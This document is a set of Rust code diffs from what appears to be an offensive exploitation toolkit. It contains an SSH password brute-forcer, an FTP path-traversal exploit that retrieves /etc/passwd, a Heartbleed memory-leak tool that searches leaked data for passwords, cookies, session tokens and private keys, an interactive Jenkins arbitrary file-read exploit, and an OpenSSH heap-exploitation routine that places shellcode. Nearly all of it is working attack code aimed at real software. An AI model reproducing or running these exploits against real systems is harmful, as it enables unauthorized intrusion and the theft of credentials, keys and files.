println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green());
let mut found_guard = found_clone.lock().await;
found_guard.insert((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
break;
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
break;
}
Err(e) => {
stats_clone.record_attempt(false, true);
if retry_flag && retries < max_retries_clone {
retries += 1;
stats_clone.record_retry();
if verbose_flag {
println!("\r{}", format!("[!] {} -> {}:{} (retry {}/{})", addr_clone, user_clone, pass_clone, retries, max_retries_clone).yellow());
}
sleep(Duration::from_millis(500)).await;
continue;
} else {
if verbose_flag {
println!("\r{}", format!("[!] {} -> {}:{} error: {}", addr_clone, user_clone, pass_clone, e).red());
}
break;
}
}
}
Ok(false) => {
log(verbose_flag, &format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose_flag, &format!("[!] {}: error: {}", addr_clone, e));
}
}
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
// Wait for all tasks
for task in tasks {
let _ = task.await;
}
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final();
let creds = found.lock().await;
if creds.is_empty() {
println!("\n[-] No credentials found.");
println!("\n{}", "[-] No credentials found.".yellow());
} else {
println!("\n[+] Valid credentials:");
println!("\n{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host, user, pass);
}
@@ -160,35 +378,47 @@ pub async fn run(target: &str) -> Result<()> {
for (host, user, pass) in creds.iter() {
writeln!(file, "{} -> {}:{}", host, user, pass)?;
}
println!("[+] Results saved to '{}'", filename.display());
file.flush()?;
println!("{}", format!("[+] Results saved to '{}'", filename.display()).green());
}
}
Ok(())
}
async fn try_ssh_login(normalized_addr: &str, user: &str, pass: &str) -> Result<bool> {
async fn try_ssh_login(
normalized_addr: &str,
user: &str,
pass: &str,
timeout_duration: Duration,
) -> Result<bool> {
let user_owned = user.to_string();
let pass_owned = pass.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || {
match TcpStream::connect(&addr_owned) {
Ok(tcp) => {
let mut sess = Session::new()?;
sess.set_tcp_stream(tcp);
sess.handshake()?;
match sess.userauth_password(&user_owned, &pass_owned) {
Ok(_) => Ok(sess.authenticated()),
Err(_) => Ok(false),
}
}
Err(e) => Err(anyhow!("Connection error to {}: {}", addr_owned, e)),
}
})
.await??;
let result = timeout(
timeout_duration,
spawn_blocking(move || {
let tcp = TcpStream::connect(&addr_owned)
.map_err(|e| anyhow!("Connection error: {}", e))?;
let mut sess = Session::new()
.map_err(|e| anyhow!("Failed to create SSH session: {}", e))?;
sess.set_tcp_stream(tcp);
sess.handshake()
.map_err(|e| anyhow!("SSH handshake failed: {}", e))?;
sess.userauth_password(&user_owned, &pass_owned)
.map_err(|e| anyhow!("Authentication failed: {}", e))?;
Ok(sess.authenticated())
}),
)
.await
.map_err(|_| anyhow!("Connection timeout"))??;
Ok(result)
result
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
@@ -293,12 +523,6 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path_candidate = Path::new(input_path_str)
.file_name()
File diff suppressed because it is too large Load Diff
@@ -1,8 +1,7 @@
use anyhow::{anyhow, Result};
use ftp::FtpStream;
use std::net::ToSocketAddrs;
use suppaftp::FtpStream;
use std::fs::{File, OpenOptions};
use std::io::{self, copy, BufRead, BufReader, Write};
use std::io::{self, BufRead, BufReader, Write};
use std::path::Path;
use tokio::task;
use tokio::sync::Semaphore;
@@ -35,12 +34,8 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", format!("[*] Connecting to FTP service at {}...", addr).yellow());
// Resolve address with better error handling
let socket_addr = addr.to_socket_addrs()?
.next()
.ok_or_else(|| anyhow!("Failed to resolve address: {}", addr))?;
let mut ftp = FtpStream::connect(socket_addr)
// Connect to FTP server
let mut ftp = FtpStream::connect(&addr)
.map_err(|e| anyhow!("FTP connection error to {}: {}", addr, e))?;
ftp.login("pachev", "").map_err(|e| anyhow!("FTP login failed: {}", e))?;
@@ -48,15 +43,19 @@ fn exploit_target(target: String, port: u16) -> Result<String> {
println!("{}", "[*] Attempting to retrieve /etc/passwd via path traversal...".yellow());
let reader = ftp.simple_retr("../../../../../../../../etc/passwd")
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?
.into_inner();
let mut reader = std::io::Cursor::new(reader);
let safe_name = target.replace(['[', ']', ':'], "_");
let out_file = format!("{}_passwd.txt", safe_name);
let mut file = File::create(&out_file)?;
copy(&mut reader, &mut file)?;
ftp.retr("../../../../../../../../etc/passwd", |reader| -> Result<(), suppaftp::FtpError> {
io::copy(reader, &mut file)
.map_err(|e| suppaftp::FtpError::ConnectionError(std::io::Error::new(
std::io::ErrorKind::Other,
format!("Failed to write file: {}", e)
)))?;
Ok(())
})
.map_err(|e| anyhow!("Failed to retrieve file: {}", e))?;
ftp.quit().ok();
+375 -72
View File
@@ -1,37 +1,268 @@
use anyhow::{Context, Result};
use anyhow::{Context, Result, bail};
use std::fs::File;
use std::io::Write;
use std::io::{Write, BufRead, BufReader};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration};
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
use std::sync::Arc;
use tokio::sync::Semaphore;
use futures::stream::{FuturesUnordered, StreamExt};
use colored::Colorize;
/// Entry point for dispatcher uses default port 443
pub async fn run(target: &str) -> Result<()> {
run_with_port(target, 443).await
const MAX_RETRIES: u32 = 3;
const INITIAL_BACKOFF_MS: u64 = 500;
const MAX_CONCURRENT: usize = 10;
const DEFAULT_HEARTBEAT_ATTEMPTS: usize = 5;
#[derive(Clone)]
pub struct ScanConfig {
pub port: u16,
pub payload_size: u16,
pub heartbeat_attempts: usize,
pub batch_file: Option<String>,
}
/// Full Heartbleed scanner with user-defined port (used internally)
pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
// 1) Trim whitespace and strip _all_ bracket layers:
impl Default for ScanConfig {
fn default() -> Self {
Self {
port: 443,
payload_size: 0x4000,
heartbeat_attempts: DEFAULT_HEARTBEAT_ATTEMPTS,
batch_file: None,
}
}
}
pub async fn run(target: &str) -> Result<()> {
let config = get_user_config(target)?;
run_with_config(target, config).await
}
fn get_user_config(target: &str) -> Result<ScanConfig> {
let mut config = ScanConfig::default();
println!("{}", "=== Heartbleed Scanner Configuration ===".cyan().bold());
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
config.port = port;
}
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
config.payload_size = size;
} else if size > 0x4000 {
println!("{}", "Warning: Payload size capped at 16KB (0x4000)".yellow());
config.payload_size = 0x4000;
}
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
config.heartbeat_attempts = attempts;
} else if attempts > 20 {
println!("{}", "Warning: Too many attempts, capped at 20".yellow());
config.heartbeat_attempts = 20;
}
}
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
std::io::stdout().flush()?;
input.clear();
std::io::stdin().read_line(&mut input)?;
let batch_file = input.trim().to_string();
if !batch_file.is_empty() {
if Path::new(&batch_file).exists() {
config.batch_file = Some(batch_file);
} else {
println!("{}", format!("Warning: File '{}' not found, skipping batch mode", batch_file).yellow());
}
}
}
}
println!();
println!("{}", "Configuration Summary:".cyan().bold());
println!(" Port: {}", config.port);
println!(" Payload Size: {} bytes", config.payload_size);
println!(" Heartbeat Attempts: {}", config.heartbeat_attempts);
if let Some(ref batch) = config.batch_file {
println!(" Batch File: {}", batch);
}
println!();
Ok(config)
}
pub async fn run_with_config(target: &str, config: ScanConfig) -> Result<()> {
if let Some(batch_file) = &config.batch_file {
run_batch_scan(batch_file, &config).await
} else {
scan_single_target(target, &config).await
}
}
async fn run_batch_scan(batch_file: &str, config: &ScanConfig) -> Result<()> {
let file = File::open(batch_file)
.with_context(|| format!("Failed to open batch file: {}", batch_file))?;
let reader = BufReader::new(file);
let targets: Vec<String> = reader
.lines()
.filter_map(|line| line.ok())
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty() && !line.starts_with('#'))
.collect();
if targets.is_empty() {
bail!("No valid targets found in batch file");
}
println!("{}", format!("[*] Loaded {} targets from batch file", targets.len()).cyan());
println!("{}", format!("[*] Starting concurrent scan with max {} concurrent connections\n", MAX_CONCURRENT).cyan());
let semaphore = Arc::new(Semaphore::new(MAX_CONCURRENT));
let mut tasks = FuturesUnordered::new();
for target in targets {
let config_clone = config.clone();
let sem = semaphore.clone();
tasks.push(tokio::spawn(async move {
let _permit = sem.acquire().await.unwrap();
scan_single_target(&target, &config_clone).await
}));
}
while let Some(result) = tasks.next().await {
if let Err(e) = result {
eprintln!("{}", format!("[-] Task error: {}", e).red());
}
}
println!("{}", "\n[*] Batch scan complete".green().bold());
Ok(())
}
async fn scan_single_target(target: &str, config: &ScanConfig) -> Result<()> {
let raw = target.trim();
if raw.is_empty() {
bail!("Target address cannot be empty");
}
let stripped = raw
.trim_start_matches('[')
.trim_end_matches(']');
// 2) If it looks like an IPv6 literal (contains ':'), re-bracket exactly once:
let host = if stripped.contains(':') {
let host = if stripped.contains(':') && !stripped.contains('.') {
format!("[{}]", stripped)
} else {
stripped.to_string()
};
// 3) Build the addr string with port:
let addr = format!("{}:{}", host, port);
let addr = format!("{}:{}", host, config.port);
println!("[*] Connecting to {}...", addr);
println!("{}", format!("[*] Target: {} | Payload: {} bytes | Attempts: {}",
addr, config.payload_size, config.heartbeat_attempts).cyan());
let mut all_leaked_data = Vec::new();
for attempt in 1..=config.heartbeat_attempts {
println!("{}", format!("[*] Heartbeat attempt {}/{}", attempt, config.heartbeat_attempts).cyan());
match scan_with_retry(&addr, config.payload_size).await {
Ok(Some(data)) => {
println!("{}", format!("[+] Attempt {} leaked {} bytes", attempt, data.len()).green());
all_leaked_data.extend_from_slice(&data);
}
Ok(None) => {
println!("{}", format!("[-] Attempt {} failed to leak data", attempt).yellow());
}
Err(e) => {
println!("{}", format!("[-] Attempt {} error: {}", attempt, e).red());
}
}
if attempt < config.heartbeat_attempts {
sleep(Duration::from_millis(100)).await;
}
}
if all_leaked_data.is_empty() {
println!("{}", format!("[-] No data leaked from {} - likely not vulnerable\n", addr).red());
return Ok(());
}
println!();
println!("{}", format!("[+] Total leaked data: {} bytes", all_leaked_data.len()).green().bold());
println!("{}", format!("[+] Server {} is VULNERABLE to Heartbleed!", addr).red().bold());
println!();
analyze_leaked_data(&all_leaked_data);
let safe_filename = stripped
.replace(':', "_")
.replace('/', "_")
.replace('\\', "_");
let filename = format!("leak_dump_{}.bin", safe_filename);
save_leak_dump(&filename, &all_leaked_data)?;
println!("{}", format!("[+] Full leak dump saved to: {}\n", filename).green());
Ok(())
}
async fn scan_with_retry(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let mut backoff = INITIAL_BACKOFF_MS;
for retry in 0..MAX_RETRIES {
if retry > 0 {
println!("{}", format!("[*] Retry {}/{} after {}ms...", retry, MAX_RETRIES - 1, backoff).yellow());
sleep(Duration::from_millis(backoff)).await;
backoff *= 2;
}
match perform_heartbleed_test(addr, payload_size).await {
Ok(data) => return Ok(data),
Err(e) if retry < MAX_RETRIES - 1 => {
println!("{}", format!("[-] Connection failed: {} - retrying...", e).yellow());
continue;
}
Err(e) => return Err(e),
}
}
bail!("All retry attempts exhausted")
}
async fn perform_heartbleed_test(addr: &str, payload_size: u16) -> Result<Option<Vec<u8>>> {
let socket_addr = addr
.to_socket_addrs()
.context("Invalid target address format")?
@@ -41,79 +272,153 @@ pub async fn run_with_port(target: &str, port: u16) -> Result<()> {
let stream_result = timeout(Duration::from_secs(5), TcpStream::connect(socket_addr)).await;
let mut stream = match stream_result {
Ok(Ok(s)) => s,
Ok(Err(e)) => {
println!("[-] Connection to {} failed: {}", socket_addr, e);
return Ok(());
}
Err(_) => {
println!("[-] Connection to {} timed out", socket_addr);
return Ok(());
}
Ok(Err(e)) => bail!("Connection failed: {}", e),
Err(_) => bail!("Connection timed out"),
};
println!("[*] Sending Client Hello...");
stream.write_all(&build_client_hello()).await?;
stream.write_all(&build_client_hello()).await
.context("Failed to send Client Hello")?;
stream.flush().await
.context("Failed to flush after Client Hello")?;
let mut response = vec![0u8; 4096];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut response)).await;
match read_result {
Ok(Ok(n)) if n > 0 => {}
Ok(Ok(_)) => {
println!("[-] No response to Client Hello");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (Client Hello response)");
return Ok(());
}
Ok(Ok(n)) if n > 0 => {},
Ok(Ok(_)) => bail!("No response to Client Hello"),
Ok(Err(e)) => bail!("Read error: {}", e),
Err(_) => bail!("Read timed out"),
}
println!("[*] Sending Heartbeat...");
stream.write_all(&build_heartbeat_request(0x4000)).await?;
stream.write_all(&build_heartbeat_request(payload_size)).await
.context("Failed to send Heartbeat request")?;
stream.flush().await
.context("Failed to flush after Heartbeat")?;
let mut leak = vec![0u8; 65535];
let read_result = timeout(Duration::from_secs(5), stream.read(&mut leak)).await;
let n = match read_result {
Ok(Ok(n)) if n > 0 => n,
Ok(Ok(_)) => {
println!("[-] No heartbeat response.");
return Ok(());
}
Ok(Err(e)) => {
println!("[-] Read error: {}", e);
return Ok(());
}
Err(_) => {
println!("[-] Read timed out (heartbeat response)");
return Ok(());
}
Ok(Ok(_)) => return Ok(None),
Ok(Err(_)) => return Ok(None),
Err(_) => return Ok(None),
};
println!("[+] Received {} bytes in heartbeat response!", n);
let filename = format!("leak_dump_{}.bin", stripped.replace(':', "_"));
let path = Path::new(&filename);
if n <= 5 {
return Ok(None);
}
Ok(Some(leak[..n].to_vec()))
}
fn analyze_leaked_data(data: &[u8]) {
println!("{}", "[*] Analyzing leaked data for sensitive patterns...\n".cyan().bold());
let data_str = String::from_utf8_lossy(data);
let password_patterns = vec![
(r"password[=:]\s*[^\s&]{3,}", "Password"),
(r"passwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pwd[=:]\s*[^\s&]{3,}", "Password"),
(r"pass[=:]\s*[^\s&]{3,}", "Password"),
];
for (pattern, label) in password_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] {} found: {}", label, cap.as_str()).red().bold());
}
}
}
let cookie_re = Regex::new(r"Cookie:\s*([^\r\n]+)").ok();
if let Some(re) = cookie_re {
for cap in re.captures_iter(&data_str) {
if let Some(cookie) = cap.get(1) {
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
}
}
}
let session_patterns = vec![
r"PHPSESSID=[a-zA-Z0-9]{20,}",
r"JSESSIONID=[a-zA-Z0-9]{20,}",
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
];
for pattern in session_patterns {
if let Ok(re) = Regex::new(pattern) {
for cap in re.find_iter(&data_str) {
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
}
}
}
let key_markers = vec![
"-----BEGIN RSA PRIVATE KEY-----",
"-----BEGIN PRIVATE KEY-----",
"-----BEGIN EC PRIVATE KEY-----",
"-----BEGIN DSA PRIVATE KEY-----",
"-----BEGIN OPENSSH PRIVATE KEY-----",
];
for marker in key_markers {
if data_str.contains(marker) {
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
}
}
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
if let Some(re) = auth_re {
for cap in re.captures_iter(&data_str) {
if let Some(auth) = cap.get(1) {
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
}
}
}
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
if let Some(re) = email_re {
let mut emails = std::collections::HashSet::new();
for cap in re.find_iter(&data_str) {
emails.insert(cap.as_str().to_string());
}
if !emails.is_empty() {
println!();
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
for (i, email) in emails.iter().take(5).enumerate() {
println!(" {}: {}", i + 1, email);
}
if emails.len() > 5 {
println!(" ... and {} more", emails.len() - 5);
}
}
}
println!();
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
println!("{}", printable_dump(&data[..data.len().min(512)]));
}
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
let path = Path::new(filename);
let mut file = File::create(path)
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
file.write_all(&leak[..n])
file.write_all(data)
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
println!("[+] Leak dump saved to: {}", filename);
println!("{}", printable_dump(&leak[..n]));
Ok(())
}
/// Builds a TLS ClientHello message
fn build_client_hello() -> Vec<u8> {
let version: u16 = 0x0302; // TLS 1.1
let time_now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as u32;
let version: u16 = 0x0302;
let time_now = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap_or_default()
.as_secs() as u32;
let mut random = vec![];
random.extend_from_slice(&time_now.to_be_bytes());
random.extend_from_slice(&vec![0x42; 28]);
random.extend_from_slice(&[0x42; 28]);
let cipher_suites: Vec<u16> = vec![
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
@@ -122,18 +427,18 @@ fn build_client_hello() -> Vec<u8> {
let mut hello = vec![];
hello.extend_from_slice(&version.to_be_bytes());
hello.extend_from_slice(&random);
hello.push(0); // Session ID length
hello.extend_from_slice(&(cipher_suites.len() as u16 * 2).to_be_bytes());
hello.push(0);
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
for cs in &cipher_suites {
hello.extend_from_slice(&cs.to_be_bytes());
}
hello.push(1); // Compression methods length
hello.push(0); // No compression
hello.push(1);
hello.push(0);
let mut extensions = vec![];
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
extensions.push(0x01); // Extension data
extensions.push(0x01);
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
hello.extend_from_slice(&extensions);
@@ -146,14 +451,12 @@ fn build_client_hello() -> Vec<u8> {
build_tls_record(0x16, version, &handshake)
}
/// Builds a malicious Heartbeat request
fn build_heartbeat_request(length: u16) -> Vec<u8> {
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
build_tls_record(0x18, 0x0302, &payload)
}
/// Wraps payload in a TLS record
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
let mut record = vec![record_type];
record.extend_from_slice(&version.to_be_bytes());
@@ -162,13 +465,13 @@ fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
record
}
/// Converts binary leak to printable ASCII
fn printable_dump(data: &[u8]) -> String {
data.iter()
.map(|b| match *b {
32..=126 => *b as char,
b'\n' | b'\r' | b'\t' => ' ',
b'\n' => '\n',
b'\r' | b'\t' => ' ',
_ => '.',
})
.collect()
}
}
@@ -0,0 +1,238 @@
use std::io::{self, Write};
use std::sync::{Arc, Mutex};
use std::time::Duration;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
const TIMEOUT_SECS: u64 = 4;
#[derive(Clone)]
struct ExploitState {
url: String,
identifier: String,
client: Client,
listening: Arc<Mutex<bool>>,
}
impl ExploitState {
fn new(url: String, identifier: String) -> Self {
let client = Client::builder()
.timeout(Duration::from_secs(TIMEOUT_SECS))
.build()
.expect("Failed to create HTTP client");
Self {
url,
identifier,
client,
listening: Arc::new(Mutex::new(false)),
}
}
async fn listen_and_print(&self) -> Result<()> {
let response = self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "download")
.header("Session", &self.identifier)
.send()
.await
.context("Failed to connect to target for listener")?;
let output = response.text().await?;
self.print_formatted_output(&output);
*self.listening.lock().unwrap() = false;
Ok(())
}
fn print_formatted_output(&self, output: &str) {
if output.contains("ERROR: No such file") {
println!("{}", "File not found.".red());
return;
} else if output.contains("ERROR: Failed to parse") {
println!("{}", "Could not read file.".red());
return;
}
let re = Regex::new(r#"No such agent "(.*)" exists."#).unwrap();
let results: Vec<String> = re
.captures_iter(output)
.filter_map(|cap| cap.get(1).map(|m| m.as_str().to_string()))
.collect();
if !results.is_empty() {
for line in results {
println!("{}", line);
}
}
}
async fn send_file_request(&self, filepath: &str) -> Result<()> {
let payload = get_payload(filepath);
self.client
.post(&self.url)
.query(&[("remoting", "false")])
.header("Side", "upload")
.header("Session", &self.identifier)
.body(payload)
.send()
.await
.context("Failed to send file request")?;
Ok(())
}
async fn read_file(&self, filepath: &str) -> Result<()> {
*self.listening.lock().unwrap() = true;
sleep(Duration::from_millis(100)).await;
if let Err(e) = self.send_file_request(filepath).await {
*self.listening.lock().unwrap() = false;
return Err(e);
}
while *self.listening.lock().unwrap() {
sleep(Duration::from_millis(100)).await;
}
self.listen_and_print().await?;
Ok(())
}
}
fn get_payload_message(operation_index: u8, text: &str) -> Vec<u8> {
let text_bytes = text.as_bytes();
let text_size = text_bytes.len() as u16;
let mut text_message = Vec::new();
text_message.extend_from_slice(&text_size.to_be_bytes());
text_message.extend_from_slice(text_bytes);
let message_size = text_message.len() as u32;
let mut payload = Vec::new();
payload.extend_from_slice(&message_size.to_be_bytes());
payload.push(operation_index);
payload.extend_from_slice(&text_message);
payload
}
fn get_payload(filepath: &str) -> Vec<u8> {
let arg_operation = 0u8;
let start_operation = 3u8;
let command = get_payload_message(arg_operation, "connect-node");
let poisoned_argument = get_payload_message(arg_operation, &format!("@{}", filepath));
let mut payload = Vec::new();
payload.extend_from_slice(&command);
payload.extend_from_slice(&poisoned_argument);
payload.push(start_operation);
payload
}
fn make_path_absolute(filepath: &str) -> String {
if filepath.starts_with('/') {
filepath.to_string()
} else {
format!("/proc/self/cwd/{}", filepath)
}
}
fn format_target_url(url: &str) -> String {
let url = url.trim_end_matches('/');
format!("{}/cli", url)
}
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
loop {
print!("{}", "File to download:\n> ".green().bold());
io::stdout().flush()?;
let mut input = String::new();
match io::stdin().read_line(&mut input) {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
if filepath.is_empty() {
continue;
}
let absolute_path = make_path_absolute(filepath);
match state.read_file(&absolute_path).await {
Ok(_) => {}
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "Payload request timed out.".yellow());
} else {
println!("{}", format!("Error: {}", e).red());
}
}
}
}
Err(e) => {
eprintln!("Error reading input: {}", e);
break;
}
}
}
Ok(())
}
pub async fn run(args: &str) -> Result<()> {
let parts: Vec<&str> = args.split_whitespace().collect();
if parts.is_empty() {
bail!("Usage: <url> [filepath]\nExample: http://example.com/ /etc/passwd");
}
let url = format_target_url(parts[0]);
let filepath = parts.get(1).map(|s| s.to_string());
let identifier = Uuid::new_v4().to_string();
println!("{}", format!("[*] Target: {}", url).cyan().bold());
println!("{}", format!("[*] Session ID: {}", identifier).cyan());
let state = ExploitState::new(url, identifier);
if let Some(path) = filepath {
let absolute_path = make_path_absolute(&path);
println!("{}", format!("[*] Reading file: {}", absolute_path).cyan());
match state.read_file(&absolute_path).await {
Ok(_) => println!("{}", "[+] File read complete".green().bold()),
Err(e) => {
if e.to_string().contains("timeout") {
println!("{}", "[-] Payload request timed out.".red());
} else {
println!("{}", format!("[-] Error: {}", e).red());
}
}
}
} else {
match start_interactive_file_read(state).await {
Ok(_) => {}
Err(e) => {
if !e.to_string().contains("Interrupted") {
eprintln!("Error: {}", e);
}
}
}
println!("\n{}", "Quitting".yellow());
}
Ok(())
}
+1
View File
@@ -0,0 +1 @@
pub mod jenkins_2_441_lfi;
+1 -1
View File
@@ -17,4 +17,4 @@ pub mod palo_alto;
pub mod roundcube;
pub mod flowise;
pub mod http2;
pub mod jenkins;
@@ -4,7 +4,7 @@ use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout, Duration, Instant};
use tokio::time::{sleep, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
@@ -33,22 +33,27 @@ fn chunk_align(s: usize) -> usize {
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
}
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
@@ -58,12 +63,13 @@ fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
}
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet_data = vec![0u8; len];
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet_data[4] = packet_type;
packet_data[5..].copy_from_slice(data);
stream.write_all(&packet_data).await?;
let packet_len = (data.len() + 5) as u32;
stream.write_u32(packet_len).await?;
stream.write_u8(packet_type).await?;
stream.write_all(data).await?;
stream.flush().await?;
Ok(())
}
@@ -123,6 +129,7 @@ async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
stream.flush().await?;
Ok(())
}
@@ -167,65 +174,84 @@ async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
}
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for i in 0..10 {
for _ in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
send_packet(stream, 5, &tcache_chunk).await?;
}
for i in 0..27 {
for _ in 0..27 {
let large_hole = vec![b'B'; 8192];
send_packet(stream, 5, &large_hole).await?;
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
send_packet(stream, 5, &small_hole).await?;
}
for i in 0..27 {
for _ in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
send_packet(stream, 5, &fake).await?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
send_packet(stream, 5, &large_fill).await?;
Ok(())
}
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet_data = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
let error_packet_data: &[u8] = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
